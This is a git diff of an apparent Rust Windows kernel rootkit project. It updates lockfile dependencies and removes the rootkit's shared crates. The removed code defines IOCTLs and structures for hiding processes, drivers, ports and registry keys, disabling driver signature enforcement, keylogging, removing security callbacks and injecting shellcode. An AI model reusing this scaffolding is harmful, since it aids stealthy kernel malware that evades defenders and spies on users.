"65fc09f10666a9f147042251e0dda9c18f166ff7de300607007e96bdebc1068d" +checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d" +dependencies = [ + "unicode-ident", +] [[package]] name = "wdk" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e255fa09cb7395c5f9b8c72831347c9b77aa51fc66c3f44eb5d097a44122e9f" +checksum = "c80cc00b5c587d3a43f489350a797a258eefca5ab0bb5d0d5b56d4ce09ab42f2" dependencies = [ + "tracing", + "tracing-subscriber", "wdk-build", "wdk-sys", ] [[package]] name = "wdk-alloc" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "00c3180aa54fa2e30ecfd52a9e40210e634c09f760658cf8793ef0bf2ee7d917" +checksum = "5dd1c139c6b9c05475bc7e8b356d4fbc252954d685691d70cfaec8b42c41b72d" dependencies = [ + "tracing", + "tracing-subscriber", + "wdk-build", "wdk-sys", ] [[package]] name = "wdk-build" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "78da0616ae3b04f9488d250e8b087b7b332e7f1f18b4c7bcedebf7aea6231594" +checksum = "4b276786d848e5ab00e021968e89cfdc591938b69741a3733e7e3d91b23f547f" dependencies = [ + "anyhow", "bindgen", + "camino", "cargo_metadata", + "cfg-if", "clap", "clap-cargo", + "lazy_static", + "paste", "rustversion", "serde", "serde_json", - "thiserror", - "windows 0.52.0", + "thiserror 1.0.69", + "tracing", + "windows 0.58.0", ] [[package]] name = "wdk-macros" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "65a27743e45f2bacdc8a778482a52ea2fda527bdac95bad5086cee080441b2da" +checksum = "56f069b2e89e5a3327e84bc2f672f7f35d94059da590666d7d605f33f2ae2fa3" dependencies = [ - "cfg-if", + "itertools 0.13.0", "proc-macro2", "quote", - "syn 2.0.86", + "syn", ] -[[package]] -name = "wdk-panic" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f56558972c0d7069aa3b2b409752e65db7ba3fd24fcffc3887d19b6e48585e4" - [[package]] name = "wdk-sys" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36c6fbc666a0535164ebbb16cff321ee2cac38636aa6b9f1712148388f401087" +checksum = "10f974829a3b0b362723d55f0d05d8f1715bb7a88297558c4127f69d85bbff7e" dependencies = [ "anyhow", "bindgen", + "cargo_metadata", + "cc", "lazy_static", "rustversion", - "thiserror", + "serde_json", + "thiserror 1.0.69", + "tracing", "tracing-subscriber", "wdk-build", "wdk-macros", @@ -1129,16 +1145,6 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" -[[package]] -name = "windows" -version = "0.52.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" -dependencies = [ - "windows-core 0.52.0", - "windows-targets 0.52.6", -] - [[package]] name = "windows" version = "0.57.0" @@ -1146,7 +1152,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" dependencies = [ "windows-core 0.57.0", - "windows-targets 0.52.6", + "windows-targets", +] + +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core 0.58.0", + "windows-targets", ] [[package]] @@ -1155,7 +1171,7 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ - "windows-targets 0.52.6", + "windows-targets", ] [[package]] @@ -1164,10 +1180,23 @@ version = "0.57.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" dependencies = [ - "windows-implement", - "windows-interface", - "windows-result", - "windows-targets 0.52.6", + "windows-implement 0.57.0", + "windows-interface 0.57.0", + "windows-result 0.1.2", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement 0.58.0", + "windows-interface 0.58.0", + "windows-result 0.2.0", + "windows-strings", + "windows-targets", ] [[package]] @@ -1178,7 +1207,18 @@ checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.86", + "syn", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn", ] [[package]] @@ -1189,7 +1229,18 @@ checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.86", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn", ] [[package]] @@ -1198,25 +1249,26 @@ version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" dependencies = [ - "windows-targets 0.52.6", + "windows-targets", ] [[package]] -name = "windows-sys" -version = "0.48.0" +name = "windows-result" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" dependencies = [ - "windows-targets 0.48.5", + "windows-targets", ] [[package]] -name = "windows-sys" -version = "0.52.0" +name = "windows-strings" +version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" dependencies = [ - "windows-targets 0.52.6", + "windows-result 0.2.0", + "windows-targets", ] [[package]] @@ -1225,22 +1277,7 @@ version = "0.59.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" dependencies = [ - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-targets" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" -dependencies = [ - "windows_aarch64_gnullvm 0.48.5", - "windows_aarch64_msvc 0.48.5", - "windows_i686_gnu 0.48.5", - "windows_i686_msvc 0.48.5", - "windows_x86_64_gnu 0.48.5", - "windows_x86_64_gnullvm 0.48.5", - "windows_x86_64_msvc 0.48.5", + "windows-targets", ] [[package]] @@ -1249,46 +1286,28 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" dependencies = [ - "windows_aarch64_gnullvm 0.52.6", - "windows_aarch64_msvc 0.52.6", - "windows_i686_gnu 0.52.6", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", "windows_i686_gnullvm", - "windows_i686_msvc 0.52.6", - "windows_x86_64_gnu 0.52.6", - "windows_x86_64_gnullvm 0.52.6", - "windows_x86_64_msvc 0.52.6", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", ] -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" - [[package]] name = "windows_aarch64_gnullvm" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" -[[package]] -name = "windows_aarch64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" - [[package]] name = "windows_aarch64_msvc" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" -[[package]] -name = "windows_i686_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" - [[package]] name = "windows_i686_gnu" version = "0.52.6" @@ -1301,48 +1320,24 @@ version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" -[[package]] -name = "windows_i686_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" - [[package]] name = "windows_i686_msvc" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" -[[package]] -name = "windows_x86_64_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" - [[package]] name = "windows_x86_64_gnu" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" - [[package]] name = "windows_x86_64_gnullvm" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" -[[package]] -name = "windows_x86_64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" - [[package]] name = "windows_x86_64_msvc" version = "0.52.6" diff --git a/Cargo.toml b/Cargo.toml index bf5b813..da90a20 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,3 +1,3 @@ [workspace] -members = ["client", "crates/common", "crates/shadowx"] +members = ["client", "common", "shadowx"] exclude = ["driver"] \ No newline at end of file diff --git a/crates/README.md b/crates/README.md deleted file mode 100644 index f602aaf..0000000 --- a/crates/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Crates - -- `shadowx`: Contains the main logic of the rootkit code. -- `common`: Includes only the structures used in the driver to communicate with the client. diff --git a/crates/common/Cargo.toml b/crates/common/Cargo.toml deleted file mode 100644 index 9e7bd3d..0000000 --- a/crates/common/Cargo.toml +++ /dev/null @@ -1,8 +0,0 @@ -[package] -name = "common" -version = "0.1.0" -edition = "2021" - -[dependencies] -ntapi = { version = "0.4.1", default-features = false } -windows-sys = { version = "0.52.0", features = ["Win32_System_Kernel"] } diff --git a/crates/common/src/enums.rs b/crates/common/src/enums.rs deleted file mode 100644 index c1ab036..0000000 --- a/crates/common/src/enums.rs +++ /dev/null @@ -1,65 +0,0 @@ -/// Represents different types of callbacks available in the system. -/// -/// These callbacks are used to monitor or intercept specific events in the system, -/// such as process creation, thread creation, image loading, and more. -#[derive(Debug, Copy, Clone, PartialEq, Default)] -pub enum Callbacks { - /// The default callback type for process creation events. - #[default] - PsSetCreateProcessNotifyRoutine, - - /// Callback for thread creation events. - PsSetCreateThreadNotifyRoutine, - - /// Callback for image loading events. - PsSetLoadImageNotifyRoutine, - - /// Callback for registry operations (using `CmRegisterCallbackEx`). - CmRegisterCallbackEx, - - /// Callback related to process object operations (using `ObRegisterCallbacks`). - ObProcess, - - /// Callback related to thread object operations (using `ObRegisterCallbacks`). - ObThread, -} - -/// Defines different operational modes or options for controlling behavior. -/// -/// These options represent different modes or actions that can be applied to a process -/// or thread, such as hiding it or enabling protection mechanisms. -#[derive(Debug, Default)] -pub enum Options { - /// Option to hide the process or thread. - #[default] - Hide, - - /// Option to apply protection to the process or thread. - Protection, -} - -/// Represents the type of protocol used in network communication (TCP/UDP). -/// -/// This enum is used to distinguish between the two most common transport layer protocols: -/// Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum Protocol { - /// Transmission Control Protocol (TCP), which is connection-oriented and reliable. - TCP, - - /// User Datagram Protocol (UDP), which is connectionless and less reliable. - UDP, -} - -/// Represents whether the port is local or remote in the context of network communication. -/// -/// This enum is used to categorize a port based on its locality, either representing a -/// local port or a remote port, often used for networking applications. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum PortType { - /// Represents a local port on the current machine. - LOCAL, - - /// Represents a remote port on a different machine. - REMOTE, -} diff --git a/crates/common/src/ioctls.rs b/crates/common/src/ioctls.rs deleted file mode 100644 index 4ac2473..0000000 --- a/crates/common/src/ioctls.rs +++ /dev/null @@ -1,61 +0,0 @@ -const FILE_DEVICE_UNKNOWN: u32 = 34; -const METHOD_NEITHER: u32 = 3; -const METHOD_BUFFERED: u32 = 0; -const FILE_ANY_ACCESS: u32 = 0; - -macro_rules! CTL_CODE { - ($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => { - ($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method - }; -} - -// Process -pub const ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Thread -pub const PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Driver -pub const HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS); - -// DSE -pub const ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Keylogger -pub const KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS); - -// ETWTI -pub const ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS); - -// PORT -pub const HIDE_PORT: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Callbacks -pub const ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Registry -pub const REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Module -pub const ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS); - -// Injection -pub const INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x828, METHOD_NEITHER, FILE_ANY_ACCESS); diff --git a/crates/common/src/lib.rs b/crates/common/src/lib.rs deleted file mode 100644 index 2f62e36..0000000 --- a/crates/common/src/lib.rs +++ /dev/null @@ -1,7 +0,0 @@ -#![no_std] - -extern crate alloc; - -pub mod ioctls; -pub mod enums; -pub mod structs; \ No newline at end of file diff --git a/crates/common/src/structs.rs b/crates/common/src/structs.rs deleted file mode 100644 index 51056c7..0000000 --- a/crates/common/src/structs.rs +++ /dev/null @@ -1,287 +0,0 @@ -#![allow(non_camel_case_types)] -#![allow(non_snake_case)] - -use core::sync::atomic::AtomicPtr; -use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; -use crate::enums::{ - Callbacks, Options, - PortType, Protocol -}; - -/// Custom implementation of the `LIST_ENTRY` structure. -/// -/// This struct represents a doubly linked list entry, commonly used in low-level -/// systems programming, especially in Windows kernel structures. It contains -/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list. -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct LIST_ENTRY { - /// A pointer to the next entry in the list. - pub Flink: *mut LIST_ENTRY, - - /// A pointer to the previous entry in the list. - pub Blink: *mut LIST_ENTRY, -} - -/// Represents the state of ETWTI (Event Tracing for Windows Thread Information). -/// -/// This struct manages whether ETWTI is enabled or disabled for capturing thread -/// information. The `enable` field controls the activation of this feature. -#[repr(C)] -#[derive(Debug)] -pub struct ETWTI { - /// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`). - pub enable: bool, -} - -/// Input structure for enumeration of information. -/// -/// This struct is used as input for listing various entities, based on the -/// options provided. The `options` field defines the parameters for the enumeration. -#[repr(C)] -#[derive(Debug)] -pub struct EnumerateInfoInput { - /// The options to control how the enumeration should behave, typically set by the user. - pub options: Options, -} - -/// Represents the target process and path for a DLL or code injection. -/// -/// This struct contains the necessary information to perform a code or DLL injection -/// into a target process. It includes the process identifier (PID) and the path -/// to the file or resource being injected. -#[repr(C)] -#[derive(Debug)] -pub struct TargetInjection { - /// The process identifier (PID) of the target process where the injection will occur. - pub pid: usize, - - /// The path to the file or resource (typically a DLL) to be injected into the process. - /// This is a dynamic string (heap-allocated) that stores the full path. - pub path: alloc::string::String, -} - -/// Represents information about a network or communication port. -/// -/// This struct holds information about a specific port, including the protocol used, -/// the type of port, its number, and whether the port is enabled or disabled. -#[repr(C)] -#[derive(Debug, Clone, Copy, PartialEq)] -pub struct TargetPort { - /// The protocol used by the port (e.g., TCP, UDP). - /// This field is represented by the `Protocol` enum. - pub protocol: Protocol, - - /// The type of port (e.g., local, remote). - /// This field is represented by the `PortType` enum. - pub port_type: PortType, - - /// The port number, represented as a 16-bit unsigned integer. - /// Commonly used to identify network services (e.g., port 80 for HTTP). - pub port_number: u16, - - /// A boolean value indicating whether the port is enabled (`true`) or disabled (`false`). - pub enable: bool, -} - -/// Represents the target registry key and value for operations. -/// -/// This struct holds information about a specific registry key and its associated value -/// for operations such as modifying or querying the registry. It includes the registry key, -/// the value associated with that key, and a flag indicating whether the operation should be -/// enabled or not. -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetRegistry { - /// The registry key, represented as a dynamically allocated string. - /// This is typically the path to a specific registry key (e.g., `HKEY_LOCAL_MACHINE\Software\...`). - pub key: alloc::string::String, - - /// The value associated with the registry key, represented as a dynamically allocated string. - /// This could be a string value stored under the specified registry key. - pub value: alloc::string::String, - - /// A boolean value indicating whether the operation on the registry key should be enabled (`true`) - /// or disabled (`false`). - pub enable: bool, -} - -/// Represents the target thread for operations like manipulation or monitoring. -/// -/// This struct contains the thread identifier (TID) and a boolean flag indicating whether -/// the thread is enabled or disabled (hidden or active). -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetThread { - /// The thread identifier (TID) of the target thread. - pub tid: usize, - - /// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`). - pub enable: bool, - - /// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's - /// linked list of threads. This is wrapped in an `AtomicPtr` for safe concurrent access. - pub list_entry: AtomicPtr, - - /// The options to control how the enumeration should behave, typically set by the user. - pub options: Options, -} - -/// Stores information about a target process for operations such as termination or manipulation. -/// -/// This struct contains the process identifier (PID) of the target process. It is commonly used -/// when the PID is the only information required for an operation on a process. -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetProcess { - /// The process identifier (PID) of the target process. - pub pid: usize, - - /// A boolean value indicating whether the process is hidden (`true`) or visible (`false`). - pub enable: bool, - - /// The signer of the process, typically indicating the authority or certificate that signed it. - pub sg: usize, - - /// The type of protection applied to the process, represented as an integer. - pub tp: usize, - - /// A pointer to the `LIST_ENTRY` structure, which is used to represent the process - /// in the system's linked list of processes. This is wrapped in an `AtomicPtr` for safe concurrent access. - pub list_entry: AtomicPtr, - - /// The options to control how the enumeration should behave, typically set by the user. - pub options: Options, -} - -/// Represents information about a module in the system. -/// -/// This struct is used for enumerating modules loaded in the system. It includes -/// the module's memory address, its name, and an index that can be used for -/// identification or sorting purposes. -#[repr(C)] -#[derive(Debug)] -pub struct ModuleInfo { - /// The memory address where the module is loaded. - pub address: usize, - - /// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256. - /// This allows compatibility with systems like Windows that use UTF-16 encoding. - pub name: [u16; 256], - - /// The index of the module in the enumeration, useful for tracking or identifying the module. - pub index: u8, -} - -/// Represents the target module within a specific process for operations like enumeration or manipulation. -/// -/// This struct contains information about the target process and the specific module within that process. -/// It includes the process identifier (PID) and the name of the module being targeted. -#[repr(C)] -#[derive(Debug)] -pub struct TargetModule { - /// The process identifier (PID) of the process in which the target module is loaded. - pub pid: usize, - - /// The name of the target module, stored as a dynamically allocated string. - pub module_name: alloc::string::String, -} - -/// Callback Information for Enumeration (Output) -/// -/// This struct represents the information about a callback that is used in an enumeration process. -/// It includes details like the callback's memory address, name, and operations associated with it. -#[repr(C)] -#[derive(Debug, Copy, Clone)] -pub struct CallbackInfoOutput { - /// The memory address where the callback is located. - pub address: usize, - - /// The name of the callback, represented as a UTF-16 array of fixed length (256). - /// This is useful for systems (like Windows) that use UTF-16 strings. - pub name: [u16; 256], - - /// The index of the callback in the enumeration. - pub index: u8, - - /// The memory address of the pre-operation function associated with this callback. - pub pre_operation: usize, - - /// The memory address of the post-operation function associated with this callback. - pub post_operation: usize, -} - -impl Default for CallbackInfoOutput { - fn default() -> Self { - Self { - address: 0, - name: [0u16; 256], - index: 0, - post_operation: 0, - pre_operation: 0 - } - } -} - -/// Callback Information for Action (Input) -/// -/// This struct is used to represent input data when performing an action on a callback. -/// It includes the callback's index and the specific callback action to be taken. -#[repr(C)] -#[derive(Debug, Copy, Clone)] -pub struct CallbackInfoInput { - /// The index of the callback that will be targeted by the action. - pub index: usize, - - /// The specific callback action, represented by the `Callbacks` enum. - pub callback: Callbacks, -} - -/// Enumerates driver information for system drivers. -/// -/// This struct holds basic information about a driver, including its address, name, and an index -/// for identification. The `name` field is represented as a UTF-16 array to maintain compatibility -/// with systems that use this encoding (like Windows). -#[repr(C)] -pub struct DriverInfo { - /// The memory address where the driver is loaded. - pub address: usize, - - /// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256. - pub name: [u16; 256], - - /// The index of the driver in the enumeration. - pub index: u8, -} - -/// Represents a structure to enable or disable Driver Signature Enforcement (DSE). -/// -/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether -/// DSE is currently enabled or disabled. -#[repr(C)] -#[derive(Debug)] -pub struct DSE { - /// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled. - pub enable: bool, -} - -/// Represents the target driver for operations like hiding or revealing it. -/// -/// This struct holds information about a driver, specifically its name and a flag indicating whether -/// it should be enabled (visible) or hidden. -#[repr(C)] -#[derive(Debug, Default)] -pub struct TargetDriver { - /// The name of the target driver as a dynamic string (heap-allocated). - pub name: alloc::string::String, - - /// A boolean flag that indicates whether the driver is enabled (visible) or hidden. - /// `true` means the driver is enabled, `false` means it is hidden. - pub enable: bool, - - /// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system. - pub list_entry: AtomicPtr, - - /// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system. - pub driver_entry: AtomicPtr, -} \ No newline at end of file diff --git a/crates/shadowx/Cargo.toml b/crates/shadowx/Cargo.toml deleted file mode 100644 index 96bb69e..0000000 --- a/crates/shadowx/Cargo.toml +++ /dev/null @@ -1,31 +0,0 @@ -[package] -name = "shadowx" -version = "0.1.0" -edition = "2021" - -[dependencies] -wdk = "0.2.0" -wdk-sys = "0.2.0" -wdk-panic = "0.2.0" -wdk-alloc = "0.2.0" -winapi = "0.3.9" -ntapi = { version = "0.4.1", default-features = false } - -spin = "0.9.8" -log = "0.4.22" -obfstr = "0.4.4" -bitfield = "0.17.0" -thiserror-no-std = "2.0.2" -common = { path = "../common" } -microseh = { version = "1.1.2", default-features = false } - -[profile.dev] -panic = "abort" - -[profile.release] -panic = "abort" - -[package.metadata.wdk.driver-model] -driver-type = "KMDF" -kmdf-version-major = 1 -target-kmdf-version-minor = 33 diff --git a/crates/shadowx/src/callback/callbacks/mod.rs b/crates/shadowx/src/callback/callbacks/mod.rs deleted file mode 100644 index 1546c08..0000000 --- a/crates/shadowx/src/callback/callbacks/mod.rs +++ /dev/null @@ -1,11 +0,0 @@ -/// Callbacks related to notifications operations -pub mod notify_routine; -pub use notify_routine::*; - -/// Callbacks related to object operations -pub mod object; -pub use object::*; - -/// Callbacks related to registry operations -pub mod registry; -pub use registry::*; \ No newline at end of file diff --git a/crates/shadowx/src/callback/callbacks/notify_routine.rs b/crates/shadowx/src/callback/callbacks/notify_routine.rs deleted file mode 100644 index fc6b90b..0000000 --- a/crates/shadowx/src/callback/callbacks/notify_routine.rs +++ /dev/null @@ -1,248 +0,0 @@ -use { - alloc::vec::Vec, - spin::{Lazy, Mutex}, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - wdk_sys::{NTSTATUS, STATUS_SUCCESS}, -}; - -use { - common::{ - enums::Callbacks, - structs::CallbackInfoOutput - }, - crate::{ - error::ShadowError, - utils::list_modules, - data::CallbackRestaure, - callback::find_callback::{ - find_callback_address, CallbackResult - }, - }, -}; - -/// Structure that manages callbacks in the system. -/// -/// The `Callback` structure provides functionality to remove, restore, and enumerate -/// system callbacks like `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine`, -/// and `PsSetLoadImageNotifyRoutine`. -pub struct Callback; - -const MAX_CALLBACK: usize = 100; - -/// Stores information about removed callbacks. -/// -/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` -/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. -pub static 